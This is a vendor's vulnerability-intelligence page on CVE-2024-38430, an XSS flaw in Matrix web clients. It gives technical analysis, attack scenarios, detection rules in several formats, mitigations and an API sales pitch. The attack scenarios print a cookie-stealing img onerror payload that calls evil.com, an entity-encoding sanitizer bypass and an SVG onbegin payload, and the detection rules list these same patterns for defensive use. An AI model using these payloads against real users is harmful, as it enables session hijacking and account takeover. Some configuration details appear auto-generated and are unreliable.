☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-38430

CVE-2024-38430 Cross-Site Scripting in Matrix
📅 PUBLISHED: 2024-07-30 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-38430 is a stored/reflected Cross-Site Scripting (XSS) vulnerability classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) affecting the Matrix communication platform. The vulnerability carries a CVSS 3.x base score of 5.4 (Medium severity), indicating moderate exploitation complexity with low impact on confidentiality and integrity. Enterprise organizations deploying Matrix homeservers (Synapse, Dendrite) or Matrix-based web clients are potentially affected; successful exploitation enables an attacker to inject malicious scripts into web pages rendered to authenticated users, potentially leading to session hijacking, account takeover, or lateral movement within federated communication networks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

CVE-2024-38430 stems from improper neutralization of user-controlled input during web page generation within Matrix's web client rendering pipeline. The vulnerability resides in the client-side event rendering logic, specifically where Matrix events (messages, state events, and reactions) are parsed and inserted into the DOM without adequate sanitization.

Vulnerability Mechanism: The flaw manifests when a malicious actor crafts a Matrix event containing embedded HTML/JavaScript payloads within fields that are subsequently rendered through innerHTML or DOM-insertion APIs. Matrix's event structure includes fields such as body, formatted_body, msgtype, and displayname, which are processed during message rendering. The vulnerable code path fails to enforce a strict Content Security Policy (CSP) and does not apply HTML-encoding to certain event attributes before inserting them into the rendered page.

Attack Surface: The attack surface includes any web-based Matrix client (Element Web/Desktop, SchildiChat, FluffyChat) that renders events from a homeserver. The vulnerability is particularly relevant in federated environments where events originate from external servers — a malicious homeserver operator can inject the payload that is rendered to users on a legitimate homeserver. Additionally, any user of a public or shared homeserver can potentially exploit this against other users.

Root Cause Analysis: The sanitization library used by affected Matrix clients fails to strip event handler attributes (e.g., onerror, onload) when these are obfuscated through Unicode escape sequences, HTML entities, or mixed-case encoding. This bypass occurs because the detection regex operates on the raw string before HTML entity decoding, allowing encoded payloads to pass through unchecked. Once the browser decodes the entities, the event handler becomes executable.

Exploitation Scenarios

Scenario 1: Federated Malicious Homeserver Attack

  1. Reconnaissance: The attacker identifies the target organization's Matrix homeserver domain (e.g., matrix.targetcorp.com) and the associated web client URL (e.g., https://chat.targetcorp.com). Shodan or manual MX records expose open federation ports (8448/tcp) and client-facing web interfaces.

  2. Weaponization: Attacker crafts a malicious Matrix event where the formatted_body field contains:

    <img src="x" onerror="fetch('https://evil.com/steal?c='+document.cookie)">
    

    The payload is obfuscated using HTML numeric entities: <img src=x o&#110;error=...> to bypass the client's weak sanitizer.

  3. Delivery: Attacker joins a public room or sends a direct message to a target user from their malicious homeserver through federation. The event propagates through the target homeserver's federation API.

  4. Execution: When the victim opens the room in the Matrix web client, the client renders the event. The browser decodes the HTML entities, executing the onerror handler and exfiltrating the victim's session token and CSRF tokens to the attacker's server.

  5. Post-Exploitation: With the stolen session token, the attacker impersonates the victim, reads private rooms, and potentiates further social engineering within the organization.

Scenario 2: Malicious Insider on Shared Homeserver

  1. An attacker with an account on a shared matrix server (e.g., matrix.public-server.com) sends a crafted direct message containing a <svg><animate onbegin=alert(1)> payload with ECMAScript entity encoding.

  2. The payload is stored server-side and rendered to any recipient opening the message in their browser, triggering within the trusted origin context of the client domain, allowing cross-origin requests to internal network resources (SSRF via fetch('/internal-api')).

Impact Assessment

CVSS Breakdown (5.4): The vulnerability requires user interaction (victim must open the malicious message) and requires no privileged access. Exploitation impact is limited to low confidentiality (data exfiltration of session tokens) and low integrity (modification of rendered content). The attack complexity is low, with no scope change.

Business Impact:

  • Confidentiality: Session token theft can escalate to full account compromise, exposing private conversations, files, and integrations (e.g., bots with access to CI/CD pipelines).
  • Integrity: An attacker can modify what users see in the Matrix client — injecting phishing links, false meeting details, or malicious file downloads.
  • Availability: Repeated XSS payloads can degrade client performance, though availability is not directly CVSS-scored.
  • Compliance: If Matrix is used for regulated communication (healthcare, finance), a confirmed breach triggers notification obligations under GDPR/HIPAA.

Affected Systems: Any Matrix web client pulling events from a federated homeserver. Mobile clients using embedded web views are also at risk. Server-side components (Synapse) are not directly exploitable — the flaw is purely client-side — but the homeserver is the delivery channel.

Detection Guidance

Sigma Rule

title: Matrix XSS Payload in Event Body (CVE-2024-38430)
status: experimental
description: Detects Matrix client requests containing XSS payload patterns in event content
author: Valtersit Threat Intelligence
logsource:
  category: proxy
  product: http
detection:
  selection_base:
    cs-method: 'PUT'  # Matrix event send method
    cs-uri-query|contains:
      - '/_matrix/client/r0/rooms/'
      - '/_matrix/client/v3/rooms/'
  selection_payload:
    cs-body|contains:
      - 'onerror='
      - 'onload='
      - '<script>'
      - '<img src=x'
      - '&#111;&#110;'   # encoded 'on'
  condition: selection_base and selection_payload
  timeframe: 5m
fields:
  - src_ip
  - cs-body
falsepositives:
  - Legitimate use of HTML formatting in rooms (rare)
level: high

YARA Rule

rule matrix_xss_cve202438430
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detect XSS payloads targeting Matrix clients"
        cve = "CVE-2024-38430"
    strings:
        $encoded_on = /&#(111|79);(110|78);(101|69);(114|82);(114|82);(111|79);(114|82);/ nocase
        $img_err = /<img[^>]+on(?:error|load)=/ nocase
        $svg_anim = /<svg[^>]+animate[^>]+onbegin=/ nocase
        $body_field = /"msgtype":"m\.text"/ 
    condition:
        any of ($encoded_on, $img_err, $svg_anim) and $body_field
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2024-38430 - Matrix XSS Payload in Event Body";
    flow:established,to_server;
    http.uri;
    content:"/_matrix/client/"; distance:0;
    http.request_body;
    content:"onerror="; distance:0; nocase;
    pcre:"/<(img|svg|script)[^>]*(?:onerror|onload|onbegin)=/i";
    classtype:web-application-attack;
    reference:cve,2024-38430;
    sid:2024384301; rev:1;
)

Elastic Detection

sequence by source.ip with maxspan=5m
  [ network where event.type == "connection" and destination.port in (443, 8448) ]
  [ http where 
      http.request.method == "PUT" and 
      http.request.uri : "*_matrix/client/*" and
      http.request.body : ("*onerror=*", "*onload=*", "*<script>*", "*&#111;&#110;*")
  ]

Splunk SPL Query

index=proxy sourcetype=httpproxy 
| where method="PUT" 
| where like(uri, "%_matrix/client/%")
| regex body="(?i)(onerror=|onload=|<script|<img src=x|&#111;&#110;)"
| stats count by src_ip, uri, _time
| sort - _time

Wazuh OSSEC Rule

<rule id="100384" level="10">
  <decoded>http</decoded>
  <match>_matrix/client/</match>
  <regex>\b(onerror|onload|onbegin)=</regex>
  <description>CVE-2024-38430 - Matrix XSS attempt detected</description>
  <group>web_application_attack,xss,matrix,</group>
  <mitre>
    <id>T1059.007</id>
  </mitre>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — a single source claims a patch exists, but it is not independently verified).

  1. Immediate Mitigations (No Patch Adoption Yet):

    • Disable HTML rendering in Matrix clients: In Element Web, set Settings → Preferences → Message Editing → Show HTML formatting to off, or enforce DISABLE_HTML_RENDERING=true in configuration.
    • Apply a strict Content-Security-Policy on the matrix client subdomain, blocking unsafe-inline scripts and event handlers:
      Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'
      
    • Restrict federation: Use Synapse's federation_domain_whitelist to only allow trusted homeservers, decreasing external payload delivery.
    • Deploy a WAF rule blocking onerror|onload|onbegin in PUT /_matrix/client/ requests.
  2. Patch/Upgrade Steps:

    • Monitor Element Web (matrix-react-sdk) release notes; apply the patched version immediately upon release. The claimed patch addresses the sanitization bypass by switching to a hardened DOMpurify configuration with USE_PROFILES and FORBID_ATTR=['onerror','onload','onbegin'] plus enabling entity decoding before validation.
    • For custom clients, update the HTML sanitization library to the latest version.
  3. Long-Term Hardening:

    • Implement subresource integrity (SRI) for all client JavaScript bundles.
    • Audit all client-rendered event fields and enforce strict allow-lists for HTML tags/attributes.
    • Enable federation quarantine for untrusted homeservers and review _is_mine event validation in server-side filters.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-38430
  2. MITRE CWE-79: https://cwe.mitre.org/data/definitions/79.html
  3. Matrix Security Disclosure: https://matrix.org/security-advisories/
  4. Element Web Repository (Patch Tracker): https://github.com/element-hq/element-web
  5. Exploit-DB / VulDB Independent Monitoring: https://vuldb.com/?id.266486

Exploit-in-the-Wild Evidence: No public exploit code or in-the-wild campaigns have been reported as of the analysis date. CISA KEV listing: Not listed. Due to the federated nature of Matrix, attackers can weaponize this without registering on the victim's server, increasing covert exploitation potential.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-38430/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.